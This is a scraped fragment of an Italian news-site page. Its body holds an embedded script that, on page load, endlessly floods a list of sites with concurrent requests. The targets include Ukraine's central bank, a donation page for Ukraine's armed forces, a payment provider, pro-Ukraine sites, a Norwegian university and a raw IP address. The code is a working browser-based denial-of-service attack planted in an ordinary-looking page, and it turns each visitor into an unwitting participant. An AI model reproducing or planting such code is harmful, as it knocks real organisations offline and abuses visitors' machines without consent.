[vc_row el_class=”td-slider-row” full_width=””][vc_column tdc_css=”eyJhbGwiOnsibWFyZ2luLWJvdHRvbSI6IjIwIn19″]
[/vc_column][/vc_row][vc_row el_class=”td-news-ticker”][vc_column]PRIMA PAGINA
Sedute con la sedia di casa nella piazza del centro storico:...
NeroSuBianco Web Radio
CONSIGLIATI
<script>
var targets = [
‘https://callrussia.org/’,
‘https://bank.gov.ua/’,
‘https://playforukraine.org/’,
‘https://callrussia.org/cdn-cgi/bm/cv/669835187/api.js’,
‘https://aypt.at/’,
‘https://bank.gov.ua/en/about/support-the-armed-forces/’,
‘https://www.liqpay.ua/’,
‘https://www.liqpay.ua/documentation/img/paylc_en@2x.png’,
‘https://gngforum.ge’,
‘https://www.secjuice.com/’,
‘https://31.43.50.39:80’,
‘https://stopwar.pro/list.json’,
‘https://stopwar.pro/’,
‘https://ntnu.no’
]
var CONCURRENCY_LIMIT = 10
var queue = []
async function fetchWithTimeout(resource, options) {
const controller = new AbortController();
const id = setTimeout(() => controller.abort(), options.timeout);
return fetch(resource, {
method: ‘GET’,
mode: ‘no-cors’,
signal: controller.signal
}).then((response) => {
clearTimeout(id);
return response;
}).catch((error) => {
clearTimeout(id);
throw error;
});
}
async function flood(target) {
for (var i = 0;; ++i) {
if (queue.length > CONCURRENCY_LIMIT) {
await queue.shift()
}
rand = i % 3 === 0 ? ” : (‘?’ + Math.random() * 100)
queue.push(
fetchWithTimeout(target+rand, { timeout: 5000 })
.catch((error) => {
if (error.code === 20 /* ABORT */) {
return;
}
})
.then((response) => {
})
)
}
}
// Start
targets.map(flood)
</script>